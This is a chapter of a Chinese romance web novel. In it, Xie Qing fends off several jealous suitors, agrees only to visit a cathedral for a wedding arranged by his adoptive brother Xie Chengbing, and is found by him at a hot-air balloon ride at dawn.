谢清也从装睡到真的困意席卷,睡了过去。 第二天,阳光透过薄薄的窗帘洒进来,谢清才慢吞吞醒过来,揉着腰从床上爬起来,发现身上都是青青紫紫的痕迹,不疼但看上去也够吓人的,谢呈冰总要通过用力来确认彼此的温度和感觉。 除了脸上,哪里都是使不完的情绪。 下床在房间了找了一圈,谢清才气恼地发现,谢呈冰把他衣服全拿走了,连洗手间的浴袍都没留下。 谢呈冰不想让他出门,但显然也不想违背“不强迫他”的承诺,没带走他的手机。 简直像在耍小脾气。 无奈之下,谢清拿起手机拨通了宋岩的号码。电话响了几声,很快就接通了。 “岩哥,帮我带一件衣服上来。”他一开口,连嗓音都是沙哑的,清了清嗓子,脸色有些发热。 不久后,宋岩敲响了房门,手里拎着一件新衣服。谢清卷着被子开门接过,刚准备说点什么,却发现宋岩的目光定在他裸露的肩膀上,眼神有些阴沉。 宋岩的视线在谢清的脖颈、锁骨处的痕迹上停留了片刻,嘴角紧绷,仿佛在极力压抑心中的不满。 他上前一步,动作忽然变得霸道起来,手臂一揽,将谢清紧紧扣在怀里。谢清还没反应过来,宋岩已经低下头,吻住了他的唇。 手提袋掉在地上,谢清瞪大了眼睛,没想到宋岩会在这个时候失控。这个吻带着强烈的占有欲,仿佛在宣泄心中的不甘与愤怒。 谢清本能地推了推他,但宋岩力气很大,圈着他的手臂坚如磐石,根本不给他挣脱的机会。 片刻后,宋岩终于松开了他,眼中依旧燃烧着一丝炽热,沉声问:“昨晚过的很快活?痕迹这么明显。” 谢清有些恼火地擦了擦嘴唇:“出去吧,我要换衣服。” 宋岩忽然抓住了他的手腕,动作比平时更急促,带着无法掩饰的醋意。 “我来帮你。” 谢清原本想拒绝,但见到宋岩目光黯沉,手也在微微颤抖,心中泛起些许无奈。 他叹了口气,任由宋岩动作。 宋岩带茧的指腹粗糙,动作却意外轻柔,缓缓将衣服套在谢清身上,低头扣衬衫的纽扣。 指尖每次碰到谢清的皮肤,都仿佛压抑着某种情绪。扣纽扣的动作倒像是在一点点夺回自己的领地。 谢清始终没吭声,宋岩帮他系完最后一个扣子时,忍不住低声问:“他昨晚有没有……弄疼你?” 谢清摇摇头。 宋岩的手依然没有松开他的衣襟,反而握得更紧了一些,谢清叫了他一声,他才勉强压下不快,手指从谢清的领口缓缓滑落,放开了他。 “秦霄和秦屿已经找到了这家酒店,大少爷不在,你最好不要出门,避免正面碰上。” “不是还有你吗?”谢清声音里带着些倦意,“我想出去吃点东西。” 海岛就这么大,被找到也是预料之内的。谢清早想通了,随便他们怎么纠缠,自己玩自己的。 他们之间相互制肘,自己反而安全,不会被谁突然又绑起来。 宋岩知道说服不了谢清,只好点头:“好吧,我陪你。” 他看着谢清的背影,眼底有些哀伤,但很快化为温柔与坚定:“只要你还需要我。” 出了酒店大门,谢清刚迈出几步,就听见转角传来秦屿略显暴躁的声音。 “爸,这话你去和秦霄说吧。你好好管管他,让他别抢我老婆,公司我不要了都给他!” “什么话?当然是我的真心话啊……” “喂,秦霄,爸让你接电话。” 秦霄直接划断了秦屿的通话,走过转角,恰好和谢清打了照面,他原本死气沉沉的面容瞬间一亮。 秦屿先一步跑了上来,确切地说是他牵着的金毛狗。 那条狗一看到谢清就很兴奋,摇着尾巴汪汪叫个不停。 谢清弯腰摸了摸小金毛的脑袋,心情被它的热情感染,嘴角微微上扬。 “宝宝!你看,我把狗狗照顾的很好的。昨天的事你千万别放在心上。” 秦屿话音刚落,秦霄也微笑走近了,目光在谢清脸上停留一瞬,随后开口:“听说昨天你被你哥带走了,没想到他挺重视你这个弟弟。” 他显然还不知道谢呈冰对谢清的真实想法,语气相对轻松:“这会儿出来,是饿了吧?我已经订好了附近最好的餐厅,都是你喜欢的菜式,不如直接过去。” “不用麻烦你,我自己也可以随便找家餐厅。”谢清淡淡回应。 秦屿闻言也赶紧凑上来,傻里傻气补充了一句:“宝宝,干嘛麻烦你自己!反正秦霄也订了,就花他的钱就好了。” 宋岩在谢清身后发出轻声嗤笑。 秦霄的眼神轻巧地在他身上扫了一下,语气中带着一丝探究:“这不是你哥的保镖吗,怎么还留在这里?难道谢呈冰也暂时不打算回国了?” 秦屿也有同样的疑问,早在看到宋岩的时候他就一肚子火,碍于谢清在笑着逗狗才没有发作,这会儿更是忍不住拈酸吃醋:“他不跟着自己的主人,跟着你干什么?” “两位还真是咸吃萝卜淡操心。”宋岩声音不大,语气却刻薄冷峭,“大少爷回不回国,我跟不跟着小少爷,都是我们自家的事,轮不到外人费心。” 秦霄听出弟弟语气里的酸意,重新打量了宋岩一眼:“我们只是关心谢清而已。” 宋岩讥讽道:“关心他?还是担心你们自己没机会?要真有本事,也不至于今天站在这里,等着看别人脸色。” 秦霄的笑意微微收敛了些,镜片后的眼神变得锐利。他现在确实有点顾虑谢呈冰的意思,毕竟那是谢清的哥哥。 但知道真相的秦屿就不同了,他脸色变来变去,可有的话却不便明说。 谢清对身边的闹剧仿佛一无所知,接过了金毛狗的绳子,适时岔开话题:“走吧,先去餐厅。” 其余三人对视一眼,虽然各怀心思,但还是默默压下冲突,跟在了谢清的身后。 最后还是去了秦霄订的那个餐厅。 秦屿说的没错,他愿意花心思花钱,那谢清自己也不用麻烦了。 落座以后,谢清让狗狗趴下,弯腰把绳子绕在桌脚,秦屿殷勤的想上去帮忙,可见谢清俯身,宽松的衣服坠下去,目光倏然一顿:“宝宝,这是什么?” 谢清直起了身体,秦霄的目光也投过来。 “是什么?”秦屿颤声问。 “你想的那个。”谢清面无表情地说。 秦屿脸色霎时一黑:“是谁?!我昨天就离开那么一会儿……是秦霄这个死人是吧?!”他先想到的是昨天给谢清打电话,秦霄在他房间里接的。 谢清:“我哥。” “他、你们……”秦屿紧接着也想到了谢呈冰,铁青着脸说不下去。 秦霄则是完全没反应过来,罕见的宕机了:“什么?谁?” 谢清摊开菜单先要了杯冰镇果汁,还要继续翻主菜,秦霄蓦然抽出菜单站了起来:“你刚才说谁?” 谢清抬头继续维持面无表情。秦屿愠怒夺回菜单:“跟你有什么关系,我老婆很饿了,你别碍事。” 服务员端了杯子过来倒果汁,见秦霄站在那里,想绕一下,刚往前一走,秦霄却也动了,他蓦然上前扣住谢清的手腕:“你和他……你们……他不是你哥吗?” 服务员被撞的手一抖,果汁洒出来泼在秦霄后背,衣服被染黄了一大片,贴着皮肤,服务员匆忙道歉,但秦霄一点反应也没有,直勾勾看着谢清。 秦屿愈发不高兴:“你不吃饭就滚蛋。” 秦霄看着他:“所以你也知道?” 秦屿撇嘴:“都是他强迫我老婆的!行了别提这个了,烦不烦。” 服务员一边用干净的餐布擦拭客人后背,一边不由自主地偷偷瞟谢清,秦霄终于转过身,脸色极差,勉强维持声线对服务员说:“不必了。” 他默默消化着这个消息,也对,谢呈冰和谢清本来就没有血缘关系,所以他追来A国的举动也不是哥哥对弟弟的关爱,而是有着更复杂的情感纠葛。 他一直以为自己和其他竞争者机会平等,没想到谢呈冰早在这段关系中占据了某种优势。 秦霄站在原地深呼吸一口气,想把谢清拉起来:“原来……原来你离开谢家是这个原因!跟我走,现在就走,我会保护好你的,谢呈冰这个衣冠禽兽……” 宋岩在边上看了半天的好戏,适时走过去挡住他。谢清甩开秦霄的手,无法否认,他打从心里并不乐意从旁人口中听到谢呈冰坏话:“你才衣冠禽兽,你干的事好不到哪去,你再闹我放狗咬你了。” 秦屿:“小鸡毛,上!” 金毛以为他们在玩,绕着三个人的桌子傻乐转圈圈,踩在洒掉的果汁上还滑了个出溜。 服务员带着工具过来清理了地面,主厨已经过来给他们亲自上菜了。 谢清愣了下:“我还没点。” 主厨:“是那边那位先生请你的。”他指了下后面,谢清回头,看见连忆心一个人坐在角落,有些怯懦地抬头看他。 ……热闹,真是热闹。 谢清转了回来,没说什么,拿起了餐具。 秦屿欲言又止,最终瞪着秦霄说:“你杵在那儿挡我老婆的光了,让开。” 秦霄慢慢退回座位上,几秒后又蓦然站起来:“我离开一会儿。” 秦屿冷哼:“早该走了。” 他马上美滋滋坐到了谢清对面,托着腮笑道:“宝宝,这下只有我们两个了。” 宋岩冷笑:“我不是人?” 长桌上的食物精致,可气氛实在微妙到了极点。 谢清:“你们俩要吵架出去吵哦,我想吃个安生的饭。” 两人一齐闭嘴了。 约莫半个小时,秦霄回来了,然而与他一道出现的,竟然还有谢呈冰。 两个人的表情都不是太好看,谢清猜到刚才秦霄一定是打电话质问了他哥。 秦霄不了解谢呈冰,他的行动永远比语言要快一步。 谢呈冰整个人带着他一贯的冰冷气质,表情冷峻地走向谢清:“我们该走了。” 秦屿和后面的连忆心几乎是同时站了起来。 秦屿脸上满是敌意:“干什么?我老婆还没有想去哪儿就去哪儿的自由了?” 秦霄也在他身后冷嘲热讽,一改往日妥帖虚假的微笑:“急什么,来了就走,是怕他和我们多相处几分钟,你就没机会了?” 谢呈冰扫了他们一眼,仿佛他们的反应对他来说毫无意义。他走到谢清身边,按在了他的肩膀上,目光柔和了几分:“今天别太累了,明天我们还要结婚的,你忘了吗?” 他的声音虽然不大,却像颗炸弹在整个餐厅炸开。所有人的表情瞬间变得僵硬,连宋岩的脸色也跟着阴沉下来。 秦霄率先反应过来,冷声质问:“你在开玩笑?结婚?谢清,你答应了?” 谢清就知道局面会发展成这样。 他撂下刀叉,喝光了最后一口果汁,慢吞吞擦了擦嘴,才抬起眼皮:“唔,怎么了,你们要来吗?问谢呈冰要请帖好啦。” 谢呈冰也没料到他会这么说,一瞬间差点也想追问一句:真的? 他呼吸和语速不觉变快了:“对,就在明天,地点是海岛上的圣殿大教堂,你们想来见证,我和谢清欢迎。” 他是真的筹备了婚礼的计划,只要谢清肯,随时都可以。 秦屿脸色瞬间涨红,显然被激怒了:“宝宝,是他逼你的对不对?你根本没必要答应他!” 秦霄也说:“不管怎么样,你是有选择的,有什么苦衷说出来,别被他左右。” 宋岩站在一旁,手指紧紧攥着拳头。角落里,连忆心也是表情阴鸷地盯着这边,咬紧牙关。 “都别吵了,”谢清说,分别看向秦屿和秦霄,“他没逼我,明天,你们爱来就来吧。我吃好啦,要走啦。” 他起身,谢呈冰顺势拉起他的手。 其余所有人站在原地,气氛在沉默中凝滞。 回酒店房间的时候,谢清的卡还没贴上去门就开了,谢呈冰一把将他拉进屋里紧紧搂住:“明天不如真的办一场婚礼吧?” 他在谢清耳边低声蛊惑:“能把他们都劝退,麻烦少一点,不是很好吗?” “好啊。”谢清说。 谢呈冰浑身一震,还没问出“真的吗”,谢清就说:“就想参观一下大教堂,不算结婚哦。” “……”谢呈冰闭了闭眼睛,“嗯。” “我还要继续看你表现的。”谢清强调。 谢呈冰抱着他的力度加重了一些,然后松开了。 “嗯。” “不许再弄丢我的衣服,不许像看犯人一样看着我。你看我这不是回来了吗,我躲来躲去两年了,已经很累了,但你如何还要限制我自由,我还是会走。” 谢呈冰嘴唇微微动了一下,到头来也没多说其他的,只答:“好。” 一个小时后,造型师被谢呈冰安排上门。 房间内,日光透过窗户洒在地毯上,空气中弥漫着淡淡的高级香水的味道。 造型师带着一排精美的礼服站在谢清面前,一件件给他展示着各类的名贵布料和独特剪裁。 谢清靠在沙发上,神色淡淡,手指无聊地滑动着手机屏幕,根本不配合造型师的提问。 “这件适合明天的婚礼,剪裁精致,衬得人身形提拔,你长相秀美又不失英气,是为数不多能撑起这个设计的人。”造型师赔着笑展示着一件白色西装礼服,语气里充满了专业热情。 然而谢清只是抬眼瞥了一下:“随便。” 谢呈冰站在一旁,目光在谢清和礼服之间来回扫视,即便谢清表现的如此不在乎,他也没有发怒,甚至心情看上去相当不错。 他慢慢走到礼服跟前,眼神犀利地打量了一下,指着这件白西装:“就这件。” 造型师会意,连连点头:“好的,先生,我会安排好的。” 谢清对谢呈冰自作主张的决定完全没有任何表示,甚至连头都没抬,依旧专注于手机屏幕。 就在造型师收拾礼服时,谢清已经悄悄在手机上订下了一个景点门票,那是和圣殿大教堂南辕北辙的一处景点,可以乘坐热气球纵览全城。 想到明天所有人都会在婚礼大教堂苦等,而自己已经美美在城市上空看他们的热闹,他的嘴角不禁扬起了一丝得逞笑意。 “在笑什么?”谢呈冰走了过来用指背刮了刮他的脸蛋。 谢清心跳微微一滞,迅速扣下手机,依旧是漫不经心地:“没什么,只是在想明天会是什么样子。” 谢呈冰没有追问,俯身在他脸上亲了一下:“明天就知道了。” 谢清的手机又震了一下,这次是宋岩发来的短信。 【你真的要和他结婚?】 谢清眸光微微一闪,手指在键盘上犹豫了会儿,随后发回了一个模棱两可的答案:“明天看吧。” 晚上谢清不肯和谢呈冰睡一起,把他推进了套房里面。 谢呈冰原本不肯,但提到明天的婚礼,想了想妥协了。 天色已经暗下来了,房间内一片寂静。谢清反复确认手机上的时间,他轻轻掀开被子,赤脚踩在柔软冰凉的地毯上,动作小心翼翼,蹑手蹑脚走到桌边,给自己倒了杯水,拉开窗帘。 “唰拉——” 夜晚冰凉的空气透过微微敞开的窗缝钻进房间,吹拂过他的脸颊,让他有些清醒。 下一刻,套房的里间房门忽然被推开,谢呈冰一下从里面冲出来,动作迅速,一把拉住了谢清,害得谢清手里杯子一晃,水都溅了出来。 谢清吓了一跳:“你干嘛。” 谢呈冰穿着居家服,声音压得很低:“我以为你又要走。” “我睡不着,起来看看夜景而已。”谢清抽了抽手臂,但谢呈冰仍然紧紧攥着不放。 “躺在床上闭上眼睛就睡着了。”谢呈冰低头看了看,“不要总光着脚,会着凉。” 说着弯下腰,双手一揽,把谢清抱了起来,毫不费力地将他转移到了沙发上,转身去玄关找了一双拖鞋。 “你什么都要管我。”谢清嘟哝,“你刚才这反应,神经质过头了吧?” 谢呈冰半跪在地上,动作轻柔地给他套上拖鞋。 谢清:“以后日子不是还长吗?想好好过,就别这么一惊一乍好不好。” 谢呈冰抬眼看着谢清,喉结微微滚动,似乎有什么话想说,但最终没说出来,只是低声答了一句:“以后我会注意。” 谢清摆摆手:“好了,你快回去睡吧,让我一个人待会儿。” 谢呈冰不动,谢清催促了他几句,终于把他赶回房间。 谢呈冰进屋以后,谢清又静等了一会儿,才开始慢慢地穿好衣服,手指拉在外套拉链时微微有些颤抖。 做好一切准备,他蹑手蹑脚推开房门,走出屋子,看了看时间,凌晨三点。 鬼鬼祟祟出了酒店,深夜的微风吹拂在脸上,带来自由的气息,谢清深吸了一口气,快速穿过空旷的街道,来到了摆渡车站点。 上了车,他轻松地靠在座椅上,心里一阵轻快。目的地是热气球的景点,距离明天那场紧张的婚礼越远越好。 车里驶离市中心,谢清的心也随之渐渐平静,长时间的紧张和逃避让他后知后觉的疲惫,眼皮不由自主沉了下去。 车子大概行驶了一两个小时,抵达的时候天色已经微微发亮。 谢清揉了揉眼睛,看到工作人员正在为巨大的气球打气、点火,空气中弥漫出一股淡淡的燃烧气味。 热气球在晨风中膨胀,轻微摇曳,像一个庞大的彩色巨兽。 谢清饶有兴致地看着这壮观的景象,对一会儿的行程非常期待。 早上有些冷,他稍稍裹紧了外套,转头看向四周。除了忙碌的工作人员,这里竟然没有别的游客。 他记得热气球通常会坐好几个人,现在天都亮了,应该会有更多乘客出现才对。 带着一丝疑惑,谢清随口问了导游:“怎么只有我一个啊?其他人迟到了吗?” 导游笑着耸耸肩,没有正面回答,只是说:“您再稍等一下,可能很快就会有其他人到了。” 谢清挑了下眉梢,虽然疑惑,但也没再追问。 正当他准备继续关上热气球的升空准备时,远处传来了车轮的声音,他回头一看,另一辆摆渡车缓缓驶停,随着车门一开,谢清的心猛地一跳。 从车上下来的不是别人,正是谢呈冰! 谢呈冰小臂上撘了一张薄毯,走下车的姿态依旧从容镇定,目光直勾勾落在谢清身上。 谢清的心情顿时非常复杂,他原以为自己的策划天衣无缝。 “你不是应该在……”随着谢呈冰走近,谢清声音越来越小,他朝后张望了几下。 “没有其他人,只有我。”谢呈冰将手中的薄毯展开,轻轻披在谢清肩上,动作轻柔得像在呵护小动物,“他们都去大教堂了。” 不过,等发现谢清不在那里以后,就又没个清净了。 但是无所谓,谢呈冰已经做好了长期争下去的准备。 谢清嘀咕:“那、那你怎么知道我要来坐热气球?” 谢呈冰捋了捋他的头发:“我就是知道。” 谢清被薄毯包裹住,上面还带着谢呈冰特有的体温和气息。他想发脾气的,可谢呈冰没提要抓他回去的事,看样子真的比以前有觉悟了。 他轻轻哼了一声,忽然模仿起谢怀章的严肃语气:“多大的人了,还一天到晚黏着弟弟,不嫌丢人。” 谢呈冰微微一笑:“不丢人。” 导游冲他们招手:“可以了,上来吧——我们要出发啦!” 登上热气球,谢清心情又好了不少。 气球缓缓升起,脚下的世界渐渐远去。晨曦的云雾散去,他们追逐着日出,热气球在沙漠投下影子,像一只可爱的感叹号。 天地交织,如同一幅唯美画卷。谢清站在热气球边缘张开手臂,心旷神怡。 谢呈冰从身后缓缓抱住了他,手臂环绕着他的腰,紧贴的身体传递出一种执着。 谢清本来想推开他,却因为谢呈冰将下巴轻轻搁在他肩头的一个动作,停住了。 小的时候,哥哥的怀抱就是一处避风港,令人难以抗拒,长大不知怎么,就变了意味。 谢呈冰竟也默契地提起过去:“你记不记得小时候,你刚被爸爸领回来,才这么矮,是个小布丁。” 他用手轻轻比划了一下。 谢清哼道:“你高,你最高行了吧。” 谢呈冰:“你被领回家后,我们第一次一起去郊外的小溪玩,那时候你多会撒娇。” 那个时候,小小的谢清蹦蹦跳跳踩在鹅卵石上,手里拿着从谢呈冰那儿要来的小网兜,试图捞起水中的小鱼。 溪流浅可见底,阳光洒在水面上闪闪发光,谢呈冰就在岸上静静看着新来的弟弟。 他还不习惯称对方弟弟。 “哥哥,帮我抓鱼!”小谢清努力了半天什么也没捞着,急忙求助谢呈冰。 谢呈冰应了一声,走过去站在他身旁,动作熟练地捞起了几条巴掌大点的小鱼,放进了谢清的小桶里。 “哇!哥哥好厉害!哥哥最棒!”小谢清兴奋地拍手,眼镜亮晶晶的,仿佛世界上最美好的事情就是这几条鱼。 很快小溪另一端的大石头吸引住谢清的主意,他立即放下网兜,跑到大石头旁,想爬上去看看风景。 但石头又湿又滑,小谢清的脚底打滑,整个人险些跌入水中。 谢呈冰眼疾手快,冲过去抓住了弟弟手臂,将他稳稳拉回了怀里。 小谢清的脸色有些发白,显然是被刚才的惊险吓到了。 谢呈冰蹲下身,双手紧紧捧住弟弟的小脸,语气是一贯的少年老成,严肃之余,比平时多了一分紧张:“你怎么这么不小心?以后不要乱跑,知道吗?” 小谢清被这个当了他没几天的哥哥抱得有些不自在,咯咯笑着,以为哥哥只是在吓唬他:“我没事啦!哥哥,你太紧张了!” 谢呈冰低头看着谢清无忧无虑的脸,心里忽然升起一股奇怪的信念—— 一种想要永远守护他的冲动。 尽管谢清毫无所知,但谢呈冰已经在心底默默做了决定,无论将来发生什么,他都会好好疼爱珍惜眼前的弟弟。 那天回家的路上,谢呈冰牵着谢清的小手,走得比往常更慢。 小谢清一路上叽叽喳喳地讲着自己捞鱼的“战绩”,还说以后要和哥哥一起抓更多的鱼。 谢呈冰古井无波的脸上露出一丝难以察觉的笑意。 热气球上,谢呈冰更加用力搂紧了谢清:“我那时候就知道,你迟早会跟我结婚的。” 谢清也不是第一次听他这么说了,心脏却还是会猛地一跳。 “你可不准在这里求婚哦,我会生气的。” 谢呈冰沉默了。 他果然是准备求婚的吧!?谢清无奈:“反正看样子,我这辈子是甩不掉你了,你又急些什么呢。” 这么久以来,他都陷入各路桃花的感情漩涡里,现在要多感受感受来之不易的自由! “说话呀,坏蛋哥哥?” 整座城市在脚下缩小,变成一幅精致的微缩景观,远处的山峦在日出下披上金色外衣,火红的太阳从山头露出了脸庞。 万道金光洒向天与地,谢清回过头,轮廓沐浴在日出的阳光中,带着浅浅的笑意,如梦如幻。 谢呈冰凝视着他,脸庞在光芒中显得格外柔和温暖,他十指用力紧扣,仿佛这一刻即是永恒。 “好,都听你的。”